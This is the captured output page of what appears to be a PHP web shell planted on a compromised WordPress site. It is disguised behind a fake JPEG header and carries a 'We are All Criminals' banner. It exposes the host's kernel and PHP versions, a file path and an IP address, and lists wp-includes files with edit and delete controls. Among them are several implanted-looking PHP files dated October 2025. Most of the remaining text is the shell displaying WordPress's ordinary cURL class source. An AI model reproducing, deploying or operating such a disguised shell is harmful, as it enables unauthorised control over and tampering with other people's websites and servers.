JFIF ÿØÿà JFIF  H H ÿí 6Photoshop 3.0 8BIM g fDv40PON15YC57AbScWj ÿÛ C    $$$$$$$$$,,,,,,333339999999999ÿÛ C <)!)<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ÿ ÀÀ" ÿÄ   ÿÄ  ÿÚ   i®~€4 R ¡*MòwM¾óùÿ ºß?‹äûG_êýNqæóz[šGg&7ύÛ¸Ò0C61lE*M1 2]$–Ø•¶Äæ•&†*HT2SJАm $d"hM°¦˜ 0 š4Å ¬r­4KJ&Ö[c(¢Èa Òj“F *¤ Š,¢hLM‰¦¾wßüGN³ö¾™ãë?c?-Ò¹kÁ2×&±.T–oÐiËÓ`č0"“)T°L!‰–ŠIL¤Ó‰ TÄ À„Ð*Mb¹a,b›A4Èm ’74¤ÚD¨„®DÆ*š@@ (¦Ð4²êRX€r£L*hh,C[€Lh Å5(˜ƒªBˆLi¡´!çz~e{?³æjrUW3¢a²÷cçy´Ììö~sß“ESH¤!€Æ€†ŒcHš`,¢4 CT†˜  `‰ªY±Ù DChSjvJb¡² 6$ܲÀh1¡-¨€ª%Z$b¦…¤¹j¤C dr¸ªBaM ‚˜±Ø£¯ç;¹¾ƒ¥~b½Ì»Â ªeŸgÇí³×b1LTС+0šE%AIÙ‰e´"’!„¶É¤Éw ÒN„ÅZ„ †„6@ÐÕ„'D°¶f´K™a%32”&¥B`©Q` cŠ€hY/:µIµ!CYc 44žsêókëy=ŽgÇ×dÊâ©1¹¡×“¨æ‘°…`JS¨t$ÍÌ0ªNYRÕQ,hd¶‰¤Àj8”©…T”¢J mÀ–ÐÓB‰R&´˜Ah†Ù ¡*!*B  &óLC -HטjÆÜÃ&¦4ÐÀ!‰€2|k‚ÏsƒÉƯ+±h¢/Nj©Ë|c»ØùÏ¢ªL’FMJ@®ATÐÊ›¦†Ô r:—@2i ÓRRh4 ‹ˆOÏ_cŸ”öŽ/±~}%üË>›Îòó=ç¨õû¾r¨¯Ø­´àÐìYt›f‘T‡7"N–&Ñ) (!’Z&É ¤Hņ\¼Š•Ë(˜&‚i‚lš)±b~Ëã—+™¦®.Âh¦ jJ• .!°¦lÀC•ÍŠ³ñÎÏžS BDKR28 - $H3LL
— We are All Criminals —
Linux mail2.itdevelopment.ro 4.18.0-553.76.1.el8_10.x86_64 #1 SMP Tue Sep 23 05:21:08 EDT 2025 x86_64
  INFO SERVER : Apache PHP : 8.3.25
/home/notariatiosep/public_html/public.html2/wp-includes/ | HOME
188.247.240.81

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
ID3 dir drwxr-xr-x 2024-04-03 09:01 R D
IXR dir drwxr-xr-x 2023-12-20 14:50 R D
PHPMailer dir drwxr-xr-x 2023-12-20 14:50 R D
Requests dir drwxr-xr-x 2023-12-20 14:50 R D
SimplePie dir drwxr-xr-x 2024-11-13 23:23 R D
Text dir drwxr-xr-x 2024-11-13 23:23 R D
assets dir drwxr-xr-x 2024-11-13 23:23 R D
block-bindings dir drwxr-xr-x 2024-04-03 09:01 R D
block-patterns dir drwxr-xr-x 2023-12-20 14:50 R D
block-supports dir drwxr-xr-x 2025-04-16 03:44 R D
blocks dir drwxr-xr-x 2025-04-16 03:44 R D
certificates dir drwxr-xr-x 2023-12-20 14:50 R D
css dir drwxr-xr-x 2025-04-16 03:44 R D
customize dir drwxr-xr-x 2023-12-20 14:50 R D
fonts dir drwxr-xr-x 2024-04-03 09:01 R D
html-api dir drwxr-xr-x 2025-10-20 08:25 R D
images dir drwxr-xr-x 2023-12-20 14:50 R D
interactivity-api dir drwxr-xr-x 2024-04-03 09:01 R D
js dir drwxr-xr-x 2025-10-20 03:33 R D
l10n dir drwxr-xr-x 2024-04-03 09:01 R D
php-compat dir drwxr-xr-x 2023-12-20 14:50 R D
pomo dir drwxr-xr-x 2023-12-20 14:50 R D
rest-api dir drwxr-xr-x 2023-12-20 14:50 R D
sitemaps dir drwxr-xr-x 2023-12-20 14:50 R D
sodium_compat dir drwxr-xr-x 2023-12-20 14:50 R D
style-engine dir drwxr-xr-x 2023-12-20 14:50 R D
theme-compat dir drwxr-xr-x 2023-12-20 14:50 R D
widgets dir drwxr-xr-x 2023-12-20 14:50 R D
8zcezb0c.php 1.159 KB -rw-r--r-- 2025-10-20 07:15 R E G D
BDKR.txt 0.051 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_ejk3v9jf.php 23.183 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_stg4quzr.php 23.183 KB -rw-r--r-- 2025-10-20 07:15 R E G D
admin-bar.php 36.236 KB -rw-r--r-- 2025-05-01 03:43 R E G D
block-i18n.json 0.309 KB -rw-r--r-- 2021-08-11 11:38 R E G D
block-patterns.php 12.903 KB -rw-r--r-- 2025-04-16 03:44 R E G D
blocks.php 110.401 KB -rw-r--r-- 2025-07-16 03:43 R E G D
bookmark-template.php 12.469 KB -rw-r--r-- 2025-04-16 03:44 R E G D
bookmark.php 15.065 KB -rw-r--r-- 2024-07-17 02:53 R E G D
cache-compat.php 5.829 KB -rw-r--r-- 2022-10-10 20:52 R E G D
cache.php 13.158 KB -rw-r--r-- 2022-10-10 20:52 R E G D
canonical.php 33.714 KB -rw-r--r-- 2024-11-13 23:23 R E G D
capabilities.php 41.717 KB -rw-r--r-- 2024-11-13 23:23 R E G D
category.php 12.528 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-IXR.php 2.555 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-avif-info.php 28.921 KB -rw-r--r-- 2024-05-08 02:55 R E G D
class-feed.php 0.526 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-http.php 0.358 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-json.php 42.66 KB -rw-r--r-- 2023-02-03 17:05 R E G D
class-oembed.php 0.392 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-phpass.php 6.612 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-phpmailer.php 0.648 KB -rw-r--r-- 2020-07-21 15:28 R E G D
class-requests.php 2.185 KB -rw-r--r-- 2023-04-05 15:42 R E G D
class-walker-category.php 8.278 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-walker-comment.php 13.888 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-walker-nav-menu.php 11.762 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-editor-context.php 1.318 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-parser-frame.php 1.97 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-styles-registry.php 6.253 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-template.php 1.985 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-comment.php 9.216 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-manager.php 197.845 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-panel.php 10.459 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-widgets.php 70.518 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-date-query.php 34.895 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-exception.php 0.247 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-http-curl.php 12.247 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http-proxy.php 5.84 KB -rw-r--r-- 2023-06-22 17:06 R E G D
class-wp-http-response.php 2.907 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-http-streams.php 16.464 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-image-editor-gd.php 19.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-imagick.php 33.921 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor.php 17.116 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-meta-query.php 29.815 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-metadata-lazyloader.php 6.673 KB -rw-r--r-- 2023-05-11 13:45 R E G D
class-wp-navigation-fallback.php 8.995 KB -rw-r--r-- 2023-10-06 16:36 R E G D
class-wp-oembed-controller.php 6.743 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-plugin-dependencies.php 24.722 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-query.php 154.319 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-recovery-mode-cookie-service.php 6.716 KB -rw-r--r-- 2022-10-04 06:29 R E G D
class-wp-recovery-mode-link-service.php 3.382 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-rewrite.php 62.195 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-role.php 2.464 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-wp-script-modules.php 19.007 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-site.php 7.279 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-styles.php 10.752 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-tax-query.php 19.097 KB -rw-r--r-- 2024-04-03 09:01 R E G D
class-wp-term-query.php 39.911 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-theme-json-data.php 1.767 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json-schema.php 7.194 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json.php 159.712 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user-query.php 42.632 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user.php 22.455 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-widget-factory.php 3.269 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp.php 28.639 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wpdb.php 115.512 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class.wp-styles.php 0.33 KB -rw-r--r-- 2022-09-20 16:47 R E G D
comment-template.php 100.688 KB -rw-r--r-- 2025-07-16 03:43 R E G D
compat.php 15.992 KB -rw-r--r-- 2025-04-16 03:44 R E G D
cron.php 41.658 KB -rw-r--r-- 2025-04-16 03:44 R E G D
date.php 0.391 KB -rw-r--r-- 2022-06-17 13:50 R E G D
default-filters.php 35.837 KB -rw-r--r-- 2025-04-16 03:44 R E G D
default-widgets.php 2.241 KB -rw-r--r-- 2025-04-16 03:44 R E G D
deprecated.php 187.073 KB -rw-r--r-- 2025-04-16 03:44 R E G D
embed-template.php 0.33 KB -rw-r--r-- 2022-06-17 13:50 R E G D
embed.php 37.277 KB -rw-r--r-- 2025-04-16 03:44 R E G D
error-protection.php 4.024 KB -rw-r--r-- 2023-05-02 18:15 R E G D
feed-atom.php 3.048 KB -rw-r--r-- 2025-04-16 03:44 R E G D
feed-rdf.php 2.605 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss.php 1.161 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss2.php 3.71 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed.php 22.862 KB -rw-r--r-- 2024-11-13 23:23 R E G D
fonts.php 9.522 KB -rw-r--r-- 2024-11-13 23:23 R E G D
formatting.php 334.884 KB -rw-r--r-- 2025-07-16 03:43 R E G D
functions.php 283.744 KB -rw-r--r-- 2025-04-16 03:44 R E G D
functions.wp-styles.php 8.382 KB -rw-r--r-- 2024-07-17 02:53 R E G D
github_manz.php 2.289 KB -rw-r--r-- 2025-10-20 08:25 R E G D
global-styles-and-settings.php 20.763 KB -rw-r--r-- 2025-04-16 03:44 R E G D
http.php 24.719 KB -rw-r--r-- 2024-11-13 23:23 R E G D
https-detection.php 5.72 KB -rw-r--r-- 2025-04-16 03:44 R E G D
https-migration.php 4.63 KB -rw-r--r-- 2023-07-11 01:08 R E G D
kses.php 72.727 KB -rw-r--r-- 2025-04-16 03:44 R E G D
l10n.php 66.924 KB -rw-r--r-- 2025-04-16 03:44 R E G D
link-template.php 154.103 KB -rw-r--r-- 2025-04-16 03:44 R E G D
llex.php 78.586 KB -rw-r--r-- 2025-10-20 03:33 R E G D
load.php 55.117 KB -rw-r--r-- 2025-04-16 03:44 R E G D
locale.php 0.158 KB -rw-r--r-- 2019-10-08 19:49 R E G D
media.php 215.328 KB -rw-r--r-- 2025-07-16 03:43 R E G D
meta.php 63.714 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-blogs.php 25.239 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-default-filters.php 6.48 KB -rw-r--r-- 2023-02-24 04:53 R E G D
ms-deprecated.php 21.249 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-files.php 2.68 KB -rw-r--r-- 2025-05-01 03:43 R E G D
ms-functions.php 89.436 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-load.php 19.417 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-settings.php 4.099 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-site.php 40.352 KB -rw-r--r-- 2025-04-16 03:44 R E G D
nav-menu-template.php 25.381 KB -rw-r--r-- 2025-04-16 03:44 R E G D
option.php 100.649 KB -rw-r--r-- 2025-04-16 03:44 R E G D
pluggable-deprecated.php 6.176 KB -rw-r--r-- 2025-04-16 03:44 R E G D
plugin.php 34.634 KB -rw-r--r-- 2023-06-08 10:24 R E G D
post-formats.php 6.936 KB -rw-r--r-- 2024-07-17 02:53 R E G D
post-template.php 67.039 KB -rw-r--r-- 2025-04-16 03:44 R E G D
post.php 284.875 KB -rw-r--r-- 2025-04-16 03:44 R E G D
query.php 36.167 KB -rw-r--r-- 2023-08-24 11:31 R E G D
registration-functions.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
registration.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
rest-api.php 97.907 KB -rw-r--r-- 2025-04-16 03:44 R E G D
revision.php 30.021 KB -rw-r--r-- 2025-04-16 03:44 R E G D
rewrite.php 19.083 KB -rw-r--r-- 2024-11-13 23:23 R E G D
robots-template.php 5.063 KB -rw-r--r-- 2022-04-06 18:03 R E G D
rss-functions.php 0.249 KB -rw-r--r-- 2020-11-17 02:22 R E G D
rss.php 22.571 KB -rw-r--r-- 2024-11-13 23:23 R E G D
script-loader.php 130.139 KB -rw-r--r-- 2025-05-01 03:43 R E G D
session.php 0.252 KB -rw-r--r-- 2020-02-06 10:03 R E G D
sitemaps.php 3.162 KB -rw-r--r-- 2021-05-15 20:08 R E G D
speculative-loading.php 8.357 KB -rw-r--r-- 2025-04-16 03:44 R E G D
spl-autoload-compat.php 0.431 KB -rw-r--r-- 2020-11-12 14:47 R E G D
taxonomy.php 172.097 KB -rw-r--r-- 2025-04-16 03:44 R E G D
template-loader.php 5.894 KB -rw-r--r-- 2020-05-26 12:07 R E G D
template.php 23.588 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme-i18n.json 1.49 KB -rw-r--r-- 2025-04-16 03:44 R E G D
theme-previews.php 2.766 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme.json 8.5 KB -rw-r--r-- 2024-07-17 02:53 R E G D
theme.php 131.155 KB -rw-r--r-- 2025-04-16 03:44 R E G D
to90at2y.php 1.159 KB -rw-r--r-- 2025-10-20 09:47 R E G D
update.php 36.624 KB -rw-r--r-- 2025-04-16 03:44 R E G D
user.php 171.702 KB -rw-r--r-- 2025-04-16 03:44 R E G D
vars.php 6.408 KB -rw-r--r-- 2025-04-16 03:44 R E G D
version.php 1.064 KB -rw-r--r-- 2025-10-01 03:44 R E G D
widgets.php 69.062 KB -rw-r--r-- 2025-04-16 03:44 R E G D
wp-db.php 0.435 KB -rw-r--r-- 2022-07-22 01:15 R E G D
wp-diff.php 0.78 KB -rw-r--r-- 2025-04-16 03:44 R E G D
REQUEST EXIT
'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null, 'cookies' => array(), 'decompress' => false, 'stream' => false, 'filename' => null, ); $parsed_args = wp_parse_args( $args, $defaults ); if ( isset( $parsed_args['headers']['User-Agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['User-Agent']; unset( $parsed_args['headers']['User-Agent'] ); } elseif ( isset( $parsed_args['headers']['user-agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['user-agent']; unset( $parsed_args['headers']['user-agent'] ); } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $parsed_args ); $handle = curl_init(); // cURL offers really easy proxy support. $proxy = new WP_HTTP_Proxy(); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP ); curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() ); curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() ); if ( $proxy->use_authentication() ) { curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY ); curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() ); } } $is_local = isset( $parsed_args['local'] ) && $parsed_args['local']; $ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify']; if ( $is_local ) { /** This filter is documented in wp-includes/class-wp-http-streams.php */ $ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url ); } elseif ( ! $is_local ) { /** This filter is documented in wp-includes/class-wp-http.php */ $ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url ); } /* * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since. * a value of 0 will allow an unlimited timeout. */ $timeout = (int) ceil( $parsed_args['timeout'] ); curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_URL, $url ); curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( true === $ssl_verify ) ? 2 : false ); curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify ); if ( $ssl_verify ) { curl_setopt( $handle, CURLOPT_CAINFO, $parsed_args['sslcertificates'] ); } curl_setopt( $handle, CURLOPT_USERAGENT, $parsed_args['user-agent'] ); /* * The option doesn't work with safe mode or when open_basedir is set, and there's * a bug #17490 with redirected POST requests, so handle redirections outside Curl. */ curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false ); curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS ); switch ( $parsed_args['method'] ) { case 'HEAD': curl_setopt( $handle, CURLOPT_NOBODY, true ); break; case 'POST': curl_setopt( $handle, CURLOPT_POST, true ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); break; case 'PUT': curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); break; default: curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $parsed_args['method'] ); if ( ! is_null( $parsed_args['body'] ) ) { curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); } break; } if ( true === $parsed_args['blocking'] ) { curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) ); curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) ); } curl_setopt( $handle, CURLOPT_HEADER, false ); if ( isset( $parsed_args['limit_response_size'] ) ) { $this->max_body_length = (int) $parsed_args['limit_response_size']; } else { $this->max_body_length = false; } // If streaming to a file open a file handle, and setup our curl streaming handler. if ( $parsed_args['stream'] ) { if ( ! WP_DEBUG ) { $this->stream_handle = @fopen( $parsed_args['filename'], 'w+' ); } else { $this->stream_handle = fopen( $parsed_args['filename'], 'w+' ); } if ( ! $this->stream_handle ) { return new WP_Error( 'http_request_failed', sprintf( /* translators: 1: fopen(), 2: File name. */ __( 'Could not open handle for %1$s to %2$s.' ), 'fopen()', $parsed_args['filename'] ) ); } } else { $this->stream_handle = false; } if ( ! empty( $parsed_args['headers'] ) ) { // cURL expects full header strings in each element. $headers = array(); foreach ( $parsed_args['headers'] as $name => $value ) { $headers[] = "{$name}: $value"; } curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers ); } if ( '1.0' === $parsed_args['httpversion'] ) { curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 ); } else { curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 ); } /** * Fires before the cURL request is executed. * * Cookies are not currently handled by the HTTP API. This action allows * plugins to handle cookies themselves. * * @since 2.8.0 * * @param resource $handle The cURL handle returned by curl_init() (passed by reference). * @param array $parsed_args The HTTP request arguments. * @param string $url The request URL. */ do_action_ref_array( 'http_api_curl', array( &$handle, $parsed_args, $url ) ); // We don't need to return the body, so don't. Just execute request and return. if ( ! $parsed_args['blocking'] ) { curl_exec( $handle ); $curl_error = curl_error( $handle ); if ( $curl_error ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } curl_close( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array( 'code' => false, 'message' => false, ), 'cookies' => array(), ); } curl_exec( $handle ); $processed_headers = WP_Http::processHeaders( $this->headers, $url ); $body = $this->body; $bytes_written_total = $this->bytes_written_total; $this->headers = ''; $this->body = ''; $this->bytes_written_total = 0; $curl_error = curl_errno( $handle ); // If an error occurred, or, no response. if ( $curl_error || ( 0 === strlen( $body ) && empty( $processed_headers['headers'] ) ) ) { if ( CURLE_WRITE_ERROR /* 23 */ === $curl_error ) { if ( ! $this->max_body_length || $this->max_body_length !== $bytes_written_total ) { if ( $parsed_args['stream'] ) { curl_close( $handle ); fclose( $this->stream_handle ); return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) ); } else { curl_close( $handle ); return new WP_Error( 'http_request_failed', curl_error( $handle ) ); } } } else { $curl_error = curl_error( $handle ); if ( $curl_error ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } } curl_close( $handle ); if ( $parsed_args['stream'] ) { fclose( $this->stream_handle ); } $response = array( 'headers' => $processed_headers['headers'], 'body' => null, 'response' => $processed_headers['response'], 'cookies' => $processed_headers['cookies'], 'filename' => $parsed_args['filename'], ); // Handle redirects. $redirect_response = WP_Http::handle_redirects( $url, $parsed_args, $response ); if ( false !== $redirect_response ) { return $redirect_response; } if ( true === $parsed_args['decompress'] && true === WP_Http_Encoding::should_decode( $processed_headers['headers'] ) ) { $body = WP_Http_Encoding::decompress( $body ); } $response['body'] = $body; return $response; } /** * Grabs the headers of the cURL request. * * Each header is sent individually to this callback, and is appended to the `$header` property * for temporary storage. * * @since 3.2.0 * * @param resource $handle cURL handle. * @param string $headers cURL request headers. * @return int Length of the request headers. */ private function stream_headers( $handle, $headers ) { $this->headers .= $headers; return strlen( $headers ); } /** * Grabs the body of the cURL request. * * The contents of the document are passed in chunks, and are appended to the `$body` * property for temporary storage. Returning a length shorter than the length of * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`. * * @since 3.6.0 * * @param resource $handle cURL handle. * @param string $data cURL request body. * @return int Total bytes of data written. */ private function stream_body( $handle, $data ) { $data_length = strlen( $data ); if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) { $data_length = ( $this->max_body_length - $this->bytes_written_total ); $data = substr( $data, 0, $data_length ); } if ( $this->stream_handle ) { $bytes_written = fwrite( $this->stream_handle, $data ); } else { $this->body .= $data; $bytes_written = $data_length; } $this->bytes_written_total += $bytes_written; // Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR. return $bytes_written; } /** * Determines whether this class can be used for retrieving a URL. * * @since 2.7.0 * * @param array $args Optional. Array of request arguments. Default empty array. * @return bool False means this class can not be used, true means it can. */ public static function test( $args = array() ) { if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) { return false; } $is_ssl = isset( $args['ssl'] ) && $args['ssl']; if ( $is_ssl ) { $curl_version = curl_version(); // Check whether this cURL version support SSL requests. if ( ! ( CURL_VERSION_SSL & $curl_version['features'] ) ) { return false; } } /** * Filters whether cURL can be used as a transport for retrieving a URL. * * @since 2.7.0 * * @param bool $use_class Whether the class can be used. Default true. * @param array $args An array of request arguments. */ return apply_filters( 'use_curl_transport', true, $args ); } }